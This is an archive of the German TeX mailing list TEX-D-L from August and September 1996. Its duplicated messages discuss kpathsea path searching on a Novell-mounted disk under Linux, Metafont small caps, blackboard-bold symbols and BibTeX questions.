nicht richtig zurechtfindet und keine "Subsubdirectoies" findet. > Direkten Rat habe ich keinen, nur ein paar Tips: "Uberpr"uf doch mal, ob sich in /tex/texinput/latex nur weitere Verzeichn= isse oder auch regul"are Dateien befinden. Irgendwie habe ich im Hinterkopf, da= "s in der Anleitung zur kpathsea-Bibliothek der Vermerk steht, da"s es im letz= teren Fall zu Problemen beim Durchsuchen der Unterverzeichnisse kommen kann. (Da mag ich mich allerdings auch t"auschen.) Ansonsten setze doch einfach mal die Umgebungsvariable KPATHSEA_DEBUG auf= 'maximale Geschw"atzigkeit': export KPATHSEA_DEBUG=3D63 Dann wird beim Aufruf eines jeden Programmes, welches diese Library benutzt= , ausgegeben, wo nach welchen Dateien gesucht wird. Allgemein kann man sagen, da"s die kpathsea-Bibliothek sehr viele Konfigura= tions- m"oglichkeiten hinsichtlich der Suchpfade erlaubt (einkompilierte Pfade, Pf= ade in texmf.cnf, Pfade in Umgebungsvariablen), und es dadurch allerdings auch h"a= ufig zu ungewollten Seiteneffekten kommt. Z.B. kann man einstellen, da"s 'kpath= sea' niemals direkt auf der Platte nach Dateien sucht, sondern immer nur in der ls-R-Datenbank; wenn die dann nat"urlich nicht aktuell ist, werden Files ei= nfach nicht gefunden! Wenn das Problem tats"achlich in dem gemounteten Novell-Filessystem begr"un= det liegt, gibt es allerdings wohl kaum eine andere Hoffnung, als auf eine Bese= itigung des Bugs in einem neuen Kernel zu hoffen... Funktioniert denn ein 'ls -R' oder ein 'find' auf diesem Dateisystem? > > Etwas ratlos > > Andreas. > Viel Erfolg, Joachim -- +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + Joachim Kaufmann E-Mail: jkaufma@gwdg.de + + Tel.: (0551) 201-1547 + + Gesellschaft fuer wissenschaftliche Datenverarbeitung mbH + + Am Fassberg + + 37077 GOETTINGEN Fed. Rep. of GERMANY + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ From root Wed Aug 28 17:01:11 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Joachim Kaufmann Date: Wed, 28 Aug 1996 16:46:56 +0200 Subject: Re: TeX unter Linux G"ottingen, den 28.08.1996 [Andreas Tille :] > > Hallo, > Hallo, > ich habe gerade auf meinem PC Linux 2.0 installiert (und bin davon > begeistert, aber das nur nebenbei). Bisher habe ich EmTeX unter DOS und > OS/2 im Novell-Netz gemacht. Das neue Linux unterst"utzt jetzt auch > das IPX-Protokoll, so da"s ich Platten des Novell-Servers mounten kann. > > Sch"on dachte ich, dann benutze ich doch gleich alle TeX-Dateien > (*.tex, *.mf, *.tfm) des Novell-Servers, was zwar nicht ganz so schnell geht, > aber Plattenplatz spart und was noch wesentlicher ist, nur immer eine > Neuinstallation von Paketen wie LaTeX2e, DC-Fonts etc. erfordert. > Damit spare ich mir wieder die Zeit, weil ich derjenige bei uns bin, > der sich um TeX k"ummert. > > Die Sache funktioniert so lange, wie keine "Subsubdirectories" durchsucht > werden m"ussen. Das equivalent zum EmTeX > > set TEXINPUT=3D\tex\texinput!! > > ist unter Linux > > TEXINPUTS=3D/tex/texinput// > > (man beachte das `S' am Ende der Variablen =3D 1. Falle f"ur Umsteiger) > wobei "!!" bzw. "//" bedeuten, da"s alle folgenden Unterverzeichnisse > durchsucht werden. Bei EmTeX ist das uneingeschr"ankt richtig. Auf > einer normalen HPFS-Linux-Platte klappt es bei mir mit den "//" auch. HPFS oder Ext2-FS ?? > Aber leider, leider klappt es eben nicht, wenn man auf die Novellplatte, > die per ncpmount gemountet wurde. Da wird nur das n"achsth"ohere Verzeichnis > durchsucht, also beispielsweise wird der Inhalt von > > /tex/texinput/latex > > gefunden, NICHT jedoch der Inhalt von > > /tex/texinput/latex/ams . > > Wei"s jemand Rat, was ich tun kann, ohne meine Verzeichnisstruktur aufzugeben > und ohne meine TEXINPUTS-Variable ewig lang werden zu lassen? > > Ich vermute, da"s die Ursache f"ur den Fehler darin zu Suchen ist, > da"s die kpathsea-Bibliothek, die stat() aufruft, sich auf der Novellplatte > nicht richtig zurechtfindet und keine "Subsubdirectoies" findet. > Direkten Rat habe ich keinen, nur ein paar Tips: "Uberpr"uf doch mal, ob sich in /tex/texinput/latex nur weitere Verzeichnisse oder auch regul"are Dateien befinden. Irgendwie habe ich im Hinterkopf, da"s in der Anleitung zur kpathsea-Bibliothek der Vermerk steht, da"s es im letzteren Fall zu Problemen beim Durchsuchen der Unterverzeichnisse kommen kann. (Da mag ich mich allerdings auch t"auschen.) Ansonsten setze doch einfach mal die Umgebungsvariable KPATHSEA_DEBUG auf 'maximale Geschw"atzigkeit': export KPATHSEA_DEBUG=3D63 Dann wird beim Aufruf eines jeden Programmes, welches diese Library benutzt, ausgegeben, wo nach welchen Dateien gesucht wird. Allgemein kann man sagen, da"s die kpathsea-Bibliothek sehr viele Konfigurations- m"oglichkeiten hinsichtlich der Suchpfade erlaubt (einkompilierte Pfade, Pfade in texmf.cnf, Pfade in Umgebungsvariablen), und es dadurch allerdings auch h"aufig zu ungewollten Seiteneffekten kommt. Z.B. kann man einstellen, da"s 'kpathsea' niemals direkt auf der Platte nach Dateien sucht, sondern immer nur in der ls-R-Datenbank; wenn die dann nat"urlich nicht aktuell ist, werden Files einfach nicht gefunden! Wenn das Problem tats"achlich in dem gemounteten Novell-Filessystem begr"undet liegt, gibt es allerdings wohl kaum eine andere Hoffnung, als auf eine Beseitigung des Bugs in einem neuen Kernel zu hoffen... Funktioniert denn ein 'ls -R' oder ein 'find' auf diesem Dateisystem? > > Etwas ratlos > > Andreas. > Viel Erfolg, Joachim -- +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + Joachim Kaufmann E-Mail: jkaufma@gwdg.de + + Tel.: (0551) 201-1547 + + Gesellschaft fuer wissenschaftliche Datenverarbeitung mbH + + Am Fassberg + + 37077 GOETTINGEN Fed. Rep. of GERMANY + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ From root Wed Aug 28 17:16:39 1996 Content-Type: text Message-Id: <9608281516.AA28416@gwdu26.gwdg.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Joachim Kaufmann To: Multiple recipients of list TEX-D-L Date: Wed, 28 Aug 1996 17:16:11 +0200 Subject: Re: TeX unter Linux (Nachtrag) > G"ottingen, den 28.08.1996 > > > [Andreas Tille :] > > > > Hallo, > > > > Hallo, [...] > Direkten Rat habe ich keinen, nur ein paar Tips: > "Uberpr"uf doch mal, ob sich in /tex/texinput/latex nur weitere Verzeic= hnisse > oder auch regul"are Dateien befinden. Irgendwie habe ich im Hinterkopf, = da"s > in der Anleitung zur kpathsea-Bibliothek der Vermerk steht, da"s es im le= tzteren > Fall zu Problemen beim Durchsuchen der Unterverzeichnisse kommen kann. > (Da mag ich mich allerdings auch t"auschen.) Anscheinend habe ich da tats"achlich etwas durcheinander gebracht. Hier da= her die Textpassage aus der Anleitung zur kpathsea-Library, die mich da wohl in die Irre gef"uhrt hat: Your files reside in a directory that is only pointed to via a symbol= ic link, in a leaf directory. Unfortunately, Kpathsea's subdirectory searching has a (congenital) d= eficiency: If a directory d being searched for subdirectories contains plain files and symbolic= links to other directories, but no true subdirectories, d will be considered a leaf directory, = i.e., the symbolic links will not be followed. See Section 4.6 [Subdirectory expansion], page 14, = for an explanation of why this happens. You can work around this problem by creating an empty dummy subdirect= ory in d. Then d will no longer be a leaf, and the symlinks will be followed. The directory immediately followed by the `//' in the path specificat= ion, however, is always searched for subdirectories, even if it is a leaf. This is since pre= sumably you would not have asked for the directory to be searched for subdirectories if you didn= 't want it to be. Weiter hin gilt: > > Viel Erfolg, > > Joachim > -- +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + Joachim Kaufmann E-Mail: jkaufma@gwdg.de + + Tel.: (0551) 201-1547 + + Gesellschaft fuer wissenschaftliche Datenverarbeitung mbH + + Am Fassberg + + 37077 GOETTINGEN Fed. Rep. of GERMANY + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ From root Wed Aug 28 17:16:39 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Joachim Kaufmann Date: Wed, 28 Aug 1996 17:16:11 +0200 Subject: Re: TeX unter Linux (Nachtrag) > G"ottingen, den 28.08.1996 > > > [Andreas Tille :] > > > > Hallo, > > > > Hallo, [...] > Direkten Rat habe ich keinen, nur ein paar Tips: > "Uberpr"uf doch mal, ob sich in /tex/texinput/latex nur weitere Verzeichnisse > oder auch regul"are Dateien befinden. Irgendwie habe ich im Hinterkopf, da"s > in der Anleitung zur kpathsea-Bibliothek der Vermerk steht, da"s es im letzteren > Fall zu Problemen beim Durchsuchen der Unterverzeichnisse kommen kann. > (Da mag ich mich allerdings auch t"auschen.) Anscheinend habe ich da tats"achlich etwas durcheinander gebracht. Hier daher die Textpassage aus der Anleitung zur kpathsea-Library, die mich da wohl in die Irre gef"uhrt hat: Your files reside in a directory that is only pointed to via a symbolic link, in a leaf directory. Unfortunately, Kpathsea's subdirectory searching has a (congenital) deficiency: If a directory d being searched for subdirectories contains plain files and symbolic links to other directories, but no true subdirectories, d will be considered a leaf directory, i.e., the symbolic links will not be followed. See Section 4.6 [Subdirectory expansion], page 14, for an explanation of why this happens. You can work around this problem by creating an empty dummy subdirectory in d. Then d will no longer be a leaf, and the symlinks will be followed. The directory immediately followed by the `//' in the path specification, however, is always searched for subdirectories, even if it is a leaf. This is since presumably you would not have asked for the directory to be searched for subdirectories if you didn't want it to be. Weiter hin gilt: > > Viel Erfolg, > > Joachim > -- +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + Joachim Kaufmann E-Mail: jkaufma@gwdg.de + + Tel.: (0551) 201-1547 + + Gesellschaft fuer wissenschaftliche Datenverarbeitung mbH + + Am Fassberg + + 37077 GOETTINGEN Fed. Rep. of GERMANY + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ From root Wed Aug 28 17:43:00 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Jan Braun Date: Wed, 28 Aug 1996 17:42:42 +0200 Subject: Re: Inhaltsverzeichnis wie Kopka? Hallo Bernd, >>>>> "BR" =3D=3D Bernd Raichle writes: BR> BR> Jan Braun schreibt: ... BR> : Bilder und der Tabellen. Die Verzeichnisse haben in dem besagten Kopka BR> : (1. Auflage 1994) vor der Bildernummer noch jeweils ein ``Tabelle'' BR> : oder ``Diagramm'' stehen. BR> BR> Naja, ich enthalte mich mal lieber jedweder Wertung dazu. (Was auch BR> schon Wertung genug sein kann :-) Keine Antwort ist auch eine Antwort. Immerhin stehen ja f"ur des Lesens Kundige in der "Uberschrift ``Tabellenverzeichnis'' :-) Aber doppelt gemoppelt h"alt eben besser! Vielen Dank f"ur Deine ausf"uhrlich Antwort. Jan From root Wed Aug 28 17:43:00 1996 Message-Id: Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Jan Braun To: Multiple recipients of list TEX-D-L In-Reply-To: <199608280833.KAA03132@isle.informatik.uni-stuttgart.de> Date: Wed, 28 Aug 1996 17:42:42 +0200 Subject: Re: Inhaltsverzeichnis wie Kopka? Hallo Bernd, >>>>> "BR" =3D=3D Bernd Raichle write= s: BR> BR> Jan Braun schreibt: ... BR> : Bilder und der Tabellen. Die Verzeichnisse haben in dem besagten Ko= pka BR> : (1. Auflage 1994) vor der Bildernummer noch jeweils ein ``Tabelle'' BR> : oder ``Diagramm'' stehen. BR> BR> Naja, ich enthalte mich mal lieber jedweder Wertung dazu. (Was auch BR> schon Wertung genug sein kann :-) Keine Antwort ist auch eine Antwort. Immerhin stehen ja f"ur des Lesens Kundige in der "Uberschrift ``Tabellenverzeichnis'' :-) Aber doppelt gemoppelt h"alt eben besser! Vielen Dank f"ur Deine ausf"uhrlich Antwort. Jan From root Thu Aug 29 10:36:39 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Erik Frambach Date: Thu, 29 Aug 1996 10:33:26 GMT+0200 Subject: (Fwd) Repeated announcement T&G course NTG ------- Forwarded Message Follows ------- Date: Mon, 26 Aug 1996 13:03:16 +0200 Reply-to: Netherlands Tex users-Group , Kees van der Laan From: Kees van der Laan Subject: Repeated announcement T&G course NTG ---------------------------------------------------------- |Announcement NTG's one-day low-budget no-nonsense course| | | | (La)TeX and Graphics | ---------------------------------------------------------- What? MetaPost, PostScript, mftoeps... (no font design) Language? English Teacher? Boguslaw Jackowksi Where? University of Utrecht When? The day before *or* after NTG's fall meeting of 24 Oct. (To be announced late August) Costs? Fl 50 members of NTG or other LUGs; non-members Fl 150 Subsription? Treasurer NTG, Giro 1306238, Eindhoven (Do mention TeX and Graphics course) Information? Kees van der Laan, cgl@rc.service.rug.nl Literature? Jackowksi's METAFONT booklet will be in English available. Have a look at Hobby's CSTR 162, A user manual for MetaPost, from netlib@research.att.com with message send 162 from research/cstr or copy it from NTG's 4AllTeX CD-ROM When the number of subscriptions is insufficient of 7 September---ultimate date for registration--- the course will be cancelled (and money refunded). ---Kees--- From root Mon Aug 26 23:31:21 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Message-Id: Sender: German TeX Users Communication List From: Leo Broska To: Multiple recipients of list TEX-D-L Date: Mon, 26 Aug 1996 23:26:24 -6000 Subject: Metafont: Kapitaelchen Hallo Leute Ich moechte mit Metafont fuer die Pandfora-Familie einen Kapitaelchen-Font erstellen. Oder hat das schon jemand getan? (;-)) Einen Versalien-Font konnte ich mir schnell aus dem Roman-Font erzeugen, indem ich fuer die Kleinbuchstaben-Makros einfach die grossen eingesetzt habe. Nun moechte ich dort diese Grossbuchstaben etwas verkleinern. Ich kenn' mich noch gar nicht richtig mit Metafont aus: Gibt es vielleicht einen Befehl mit dem man am Ende eines Zeichenmakro das gesamten Zeichen skalieren kann? Danke fuer jede Hilfe ciao, leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |----------------------------= -- ----------------------------------------------| Hey Gott, Alte, seit wan= n eMail: broska@salbei.iwr.uni-heidelberg.de |----------------------------= -- ----------------------------------------------| verstehst Du mich als Man= n? |----------------------------= -- From root Mon Aug 26 23:31:21 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Leo Broska Date: Mon, 26 Aug 1996 23:26:24 -6000 Subject: Metafont: Kapitaelchen Hallo Leute Ich moechte mit Metafont fuer die Pandfora-Familie einen Kapitaelchen-Font erstellen. Oder hat das schon jemand getan? (;-)) Einen Versalien-Font konnte ich mir schnell aus dem Roman-Font erzeugen, indem ich fuer die Kleinbuchstaben-Makros einfach die grossen eingesetzt habe. Nun moechte ich dort diese Grossbuchstaben etwas verkleinern. Ich kenn' mich noch gar nicht richtig mit Metafont aus: Gibt es vielleicht einen Befehl mit dem man am Ende eines Zeichenmakro das gesamten Zeichen skalieren kann? Danke fuer jede Hilfe ciao, leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ ----------------------------------------------| Hey Gott, Alte, seit wann eMail: broska@salbei.iwr.uni-heidelberg.de |------------------------------ ----------------------------------------------| verstehst Du mich als Mann? |------------------------------ From root Fri Aug 30 16:14:26 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Joachim Kaufmann Date: Fri, 30 Aug 1996 16:13:27 +0200 Subject: Re: TeX unter Linux Hallo Andreas, [Andreas Tille :] > > Hallo Joachim, > > ich habe es Deinem Rat zufolge mal mit > KPATHSEA_DEBUG=3D63 > versucht. Dabei habe ich folgendes festgestellt: > > Ich habe sowohl auf dem Novell-Volume als auch auf meiner Linux-ext2fs-Partition > folgende Dateien erstellt: > > .../tex/texinput/test1/test11/test111/test111.tex > test112/test112.tex > test11.tex > > In meiner TEXINPUTS-Variablen habe ich unter anderem den Pfad: > > ~/O/tex/texinput// (~ =3D=3D /home/e2od5). > > Dann habe ich je nach Bedarf einmal ~/O als link auf die Novell-Platte > und einmal auf die ext2fs-Partition gesetzt. > In einer TeX-Datei ziehe ich per \input test11, test111 und test112 rein. > Auf der ext2fs-Partition wird alles problemlos gefunden. Auf der Novell-Platte > dagegen wird nix gefunden. Die (hoffentlich) relevanten Zeilen, die > "uber den Fehler Aufschlu"s geben k"onnten sind folgende: > > Wenn /home/e2od5/O auf die Novell-Platte zeigt, sieht es so aus: > > kdebug:hash_lookup(/home/e2od5/O/tex/texinput/test1) =3D> (null) > kdebug:dir_links(/home/e2od5/O/tex/texinput/test1) =3D> 1 > > zeigt /home/e2od5/O jedoch auf ein Verzeichnis im ext2fs > > kdebug:hash_lookup(/home/e2od5/O/tex/texinput/test1) =3D> (null) > kdebug:dir_links(/home/e2od5/O/tex/texinput/test1) =3D> 3 > > Die Verzeichnisstruktur ist (scheint) exakt die gleiche zu sein. > Offensichtlich werden die Verzeichniseintr"age auf der Novell-Platte nicht > gefunden. > > Die oben beschriebenen Dateien liegen nicht in der ls-R Datenbank. > Trotzdem werden auch die Dateien, die in dieser Datenbank stehen nicht gefunden > (oder die Datenbank selbst wird nicht gefunden??? -- Woran merke ich, > ob diese mit durchsucht wird??). Ich bin ja erst auf den Fehler > gesto"sen, als Standard-TeXInput-Dateien, die ich in die ls-R > Datenbank aufgenommen hatte, nicht gefunden habe. Ich bin mir aber > nicht sicher, ob die Datenbank tats"achlich benutzt wird. > In der Debug-Ausgabe von 'kpathsea' sollte ein Eintrag wie: kdebug:fopen(/usr/global/lib/texmf/ls-R, r) =3D> 0x3ffc0080328 kdebug:fclose(0x3ffc0080328) =3D> 0 kdebug:6535 entries (in 237 directories) read from /usr/global/lib/texmf/ls-R. zu finden sein, wenn die ls-R-Datenbasis gefunden und benutzt wird. Eintr"age wie kdebug:hash_lookup(latex.fmt) =3D> /usr/global/lib/texmf/ini/ deuten wohl darauf hin, da"s eine Datei in dieser Datenbasis lokalisiert werden konnte. Ansonsten w"urde wohl wie bei Dir '(null)' zur"uckgegeben. > Als ich meine erste Anfrage in der tex-d-l stellte benutzte ich noch > das NTeX aus der Slackware. Jetzt bin ich auf das aktuellste teTeX > vom Dante-Server umgestiegen ... mit dem gleichen Erfolg. > > Gibt es noch irgendwelche Hinweise oder mu"s ich tats"achlich > zwei TeX-Installationen warten. > Vielleicht solltest Du extra f"ur die Novell-Platte die ls-R-Datenbasis updaten (ls -LR >ls-R), so da"s nicht direkt auf dieser Platte gesucht werden mu"s, denn das scheint ja wirklich nicht zu funktionieren. Ansonsten g"abe es vielleicht noch die Brute-Force-Methode, einfach da"s TeX-Verzeichnis der Novell-Platte auf der Ext2FS-Platte nachzubilden, indem man auf jedes einzelne (Unter-)Verzeichnis der Novell-Platte einen symbolischen Link plaziert. > Vielen Dank f"ur die Hilfe > > Andreas. > > Sorry f"ur die knappe Antwort. Weiterhin viel Erfolg und ein sch"ones Wochenende, Joachim -- +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + Joachim Kaufmann E-Mail: jkaufma@gwdg.de + + Tel.: (0551) 201-1547 + + Gesellschaft fuer wissenschaftliche Datenverarbeitung mbH + + Am Fassberg + + 37077 GOETTINGEN Fed. Rep. of GERMANY + +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ From root Fri Aug 30 17:14:00 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=3DUS-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" Date: Fri, 30 Aug 1996 17:15:41 +0100 Subject: Re: Metafont: Kapitaelchen > Allgemein wuerde ich solche Fragen eher mal auf der Diskussionsliste > `metafont@ens.fr' stellen (eintragen mit einer Mail mit Inhalt ^^ > "subscribe metafont " an listserv@ens.fr!!!). Ist das eine franz"osischsprachige Liste??? -- Nein, nur der Verteiler sitzt in Frankreich, die Sprache auf metafont ist im allgemeinen englisch. --J"org Knappen. From root Fri Aug 30 17:14:00 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=3DUS-ASCII Content-Transfer-Encoding: 7BIT Message-Id: <01I8W7S6Q8QQAAVDI9@MZDMZA.ZDV.UNI-MAINZ.DE> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" To: Multiple recipients of list TEX-D-L Date: Fri, 30 Aug 1996 17:15:41 +0100 Subject: Re: Metafont: Kapitaelchen > Allgemein wuerde ich solche Fragen eher mal auf der Diskussionsliste > `metafont@ens.fr' stellen (eintragen mit einer Mail mit Inhalt ^^ > "subscribe metafont " an listserv@ens.fr!!!). Ist das eine franz"osischsprachige Liste??? -- Nein, nur der Verteiler sitzt in Frankreich, die Sprache auf metafont ist im allgemeinen englisch. --J"org Knappen. From root Fri Sep 6 04:42:48 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Oskar Hagen Content-Transfer-Encoding: quoted-printable Date: Sun, 1 Sep 1996 12:54:00 GMT Subject: BibTeX-Frage Kommentar zu A33690@H in der Gruppe TEX-D-L Hi, PSS>@book{Almanach:90, PSS> author =3D {{Baumann}, {Elenore} and {Baumann}, {Wolf-R"udiger} PSS> editor =3D {{Haefs}, {Hanswilhelm}}, Der "Typ" ist verkehrt. Versuch es mal mit @incollection. Gru=B1 Oskar From root Fri Sep 6 04:42:48 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Message-Id: <199609011454.p41568@ol2.maus.de> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Oskar Hagen To: Multiple recipients of list TEX-D-L Content-Transfer-Encoding: quoted-printable Date: Sun, 1 Sep 1996 12:54:00 GMT Subject: BibTeX-Frage Kommentar zu A33690@H in der Gruppe TEX-D-L Hi, PSS>@book{Almanach:90, PSS> author =3D {{Baumann}, {Elenore} and {Baumann}, {Wolf-R"udiger} PSS> editor =3D {{Haefs}, {Hanswilhelm}}, Der "Typ" ist verkehrt. Versuch es mal mit @incollection. Gru=B1 Oskar From root Fri Aug 30 13:31:40 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Leo Broska Date: Fri, 30 Aug 1996 13:30:14 -6000 Subject: Re: Metafont: Kapitaelchen On Tue, 27 Aug 1996, Bernd Raichle wrote: > Leo Broska > : Ich moechte mit Metafont fuer die Pandfora-Familie einen Kapitaelchen-Font > : erstellen. Oder hat das schon jemand getan? (;-)) [...] > : Gibt es vielleicht einen > : Befehl mit dem man am Ende eines Zeichenmakro das gesamten Zeichen > : skalieren kann? > > Gibt es sicher, nur: Kapitaelchen sind nur gut lesbar, wenn sie > entsprechend leicht gesperrt gesetzt werden -- eine einfache > Skalierung der Grossbuchstaben und der damit erhaltenen Abstaende und > des Kerning reicht da nicht aus (mal davon abgesehen, dass dann die > Strichstaerken nicht mehr ganz zusammenpassen). Klar, ein vollst"andiges Neu-Designen der Kapitaelchen ist sicher das Optimum; aber ein zwischenzeitlicher Behelf w"aren verkleinerte Versalien allemal! > Allgemein wuerde ich solche Fragen eher mal auf der Diskussionsliste > `metafont@ens.fr' stellen (eintragen mit einer Mail mit Inhalt ^^ > "subscribe metafont " an listserv@ens.fr!!!). Ist das eine franz"osischsprachige Liste??? ciao, leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |------------------------------ ----------------------------------------------| Hey Gott, Alte, seit wann eMail: broska@salbei.iwr.uni-heidelberg.de |------------------------------ ----------------------------------------------| verstehst Du mich als Mann? |------------------------------ --=_mh.ndn.1784.0009.330ad558_=-- From root Fri Aug 30 13:31:40 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=3DUS-ASCII Message-Id: Sender: German TeX Users Communication List From: Leo Broska To: Multiple recipients of list TEX-D-L In-Reply-To: <199608270644.IAA02457@isle.informatik.uni-stuttgart.de> Date: Fri, 30 Aug 1996 13:30:14 -6000 Subject: Re: Metafont: Kapitaelchen On Tue, 27 Aug 1996, Bernd Raichle wrote: > Leo Broska > : Ich moechte mit Metafont fuer die Pandfora-Familie einen Kapitaelchen-F= ont > : erstellen. Oder hat das schon jemand getan? (;-)) [...] > : Gibt es vielleicht einen > : Befehl mit dem man am Ende eines Zeichenmakro das gesamten Zeichen > : skalieren kann? > > Gibt es sicher, nur: Kapitaelchen sind nur gut lesbar, wenn sie > entsprechend leicht gesperrt gesetzt werden -- eine einfache > Skalierung der Grossbuchstaben und der damit erhaltenen Abstaende und > des Kerning reicht da nicht aus (mal davon abgesehen, dass dann die > Strichstaerken nicht mehr ganz zusammenpassen). Klar, ein vollst"andiges Neu-Designen der Kapitaelchen ist sicher das Optimum; aber ein zwischenzeitlicher Behelf w"aren verkleinerte Versalien allemal! > Allgemein wuerde ich solche Fragen eher mal auf der Diskussionsliste > `metafont@ens.fr' stellen (eintragen mit einer Mail mit Inhalt ^^ > "subscribe metafont " an listserv@ens.fr!!!). Ist das eine franz"osischsprachige Liste??? ciao, leo. ----------------------------------------------| Leo Arnt Broska, Uni Heidelberg, Germany |----------------------------= -- ----------------------------------------------| Hey Gott, Alte, seit wan= n eMail: broska@salbei.iwr.uni-heidelberg.de |----------------------------= -- ----------------------------------------------| verstehst Du mich als Man= n? |----------------------------= -- --=_mh.ndn.1784.0009.330ad558_=-- From root Tue Sep 3 14:01:28 1996 Message-Id: <199609031200.OAA03578@isidor> Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle To: Multiple recipients of list TEX-D-L In-Reply-To: (message from Leo Broska on Tue, 3 Sep 1996 13:50:27 -6000) Date: Tue, 3 Sep 1996 14:00:44 +0200 Subject: Re: Mengen-Buchstaben Leo Broska : Ich stell' mich wohl etwas doof an, aber ich krieg' nicht raus, wie ich : (im Mathe-Satz) das Zeichen f"ur die Menge der natuerlichen Zahlen darstellen : kann. : : Ich meine damit ein normales grosses N mit zweitem Strich; d.h. in etwa : so: IN. : : Im LaTeX-Begleiter habe ich nichts gefunden, weiss eineR Bescheid? 1) DE-TeX-/DANTE-FAQ lesen, zu finden unter http://www.dante.de/dante/ dante-faq.html oder ftp://ftp.dante.de/usergrps/dante/de-tex-faq/ und rtfm.mit.edu und allen FAQ-Spiegeln und und und ... 2) Warten auf die naechste Ausgabe 2/96 von "Die TeXnische Komoedie", darin stellt Gerd Neugebauer in der Fundus-Kolumne verschiedene Loesungen fuer dein Problem dar. 3) Nach dem Stichwort "blackboard bold" (oder "bb") auf CTAN, in anderen TeX-FAQs suchen... Gruesse, -bernd dantefaq@dante.de /2 PS: Mir gefaellt `bbm' am besten, eine Schriftfamilie und ein dazugehoeriges LaTeX2e-Paket. From root Tue Sep 3 14:01:28 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Tue, 3 Sep 1996 14:00:44 +0200 Subject: Re: Mengen-Buchstaben Leo Broska : Ich stell' mich wohl etwas doof an, aber ich krieg' nicht raus, wie ich : (im Mathe-Satz) das Zeichen f"ur die Menge der natuerlichen Zahlen darstellen : kann. : : Ich meine damit ein normales grosses N mit zweitem Strich; d.h. in etwa : so: IN. : : Im LaTeX-Begleiter habe ich nichts gefunden, weiss eineR Bescheid? 1) DE-TeX-/DANTE-FAQ lesen, zu finden unter http://www.dante.de/dante/ dante-faq.html oder ftp://ftp.dante.de/usergrps/dante/de-tex-faq/ und rtfm.mit.edu und allen FAQ-Spiegeln und und und ... 2) Warten auf die naechste Ausgabe 2/96 von "Die TeXnische Komoedie", darin stellt Gerd Neugebauer in der Fundus-Kolumne verschiedene Loesungen fuer dein Problem dar. 3) Nach dem Stichwort "blackboard bold" (oder "bb") auf CTAN, in anderen TeX-FAQs suchen... Gruesse, -bernd dantefaq@dante.de /2 PS: Mir gefaellt `bbm' am besten, eine Schriftfamilie und ein dazugehoeriges LaTeX2e-Paket. From root Wed Sep 4 15:52:57 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Peter Seitz Date: Tue, 3 Sep 1996 15:53:33 +0100 Subject: zwei BibTeX Stile in einem Dokument Hallo BibTeXpertinnen und BibTeXperten, ich moechte in einem Dokument am Ende zwei Literaturverzeichnisse machen: - Eines fuer die "normale Literatur" - eines fuer Normen, Vorschriften und Richtlinien Ich wuerde dann gerne auch mit dem cite-Befehl unterschiedlich zitieren. Gibt es fuer so einen Fall ein geeignetes Paket, bzw hat jemand damit Erfahrung? Der LaTeX Companion verweist auf das chapterbib-Paket oder das bibunits-system, doch das ist noch nicht ganz das, was ich mir vorstelle. Kann man gegebenenfalls die oben genannten Pakete mit dem chicago- Paket oder dem natbib-Paket verwenden, dass das gewuenschte Ergebnis herauskommt? Eigentlich muesste das Paket ja nur eine eigene thebibliography-Datei schreiben... Ich bin fuer jede Hilfe dankbar, da die Anzahl der Bib-TeX Stile sehr umfangreich ist und ich als BibTeX-Neuling nicht unnoetig viel Zeit mit 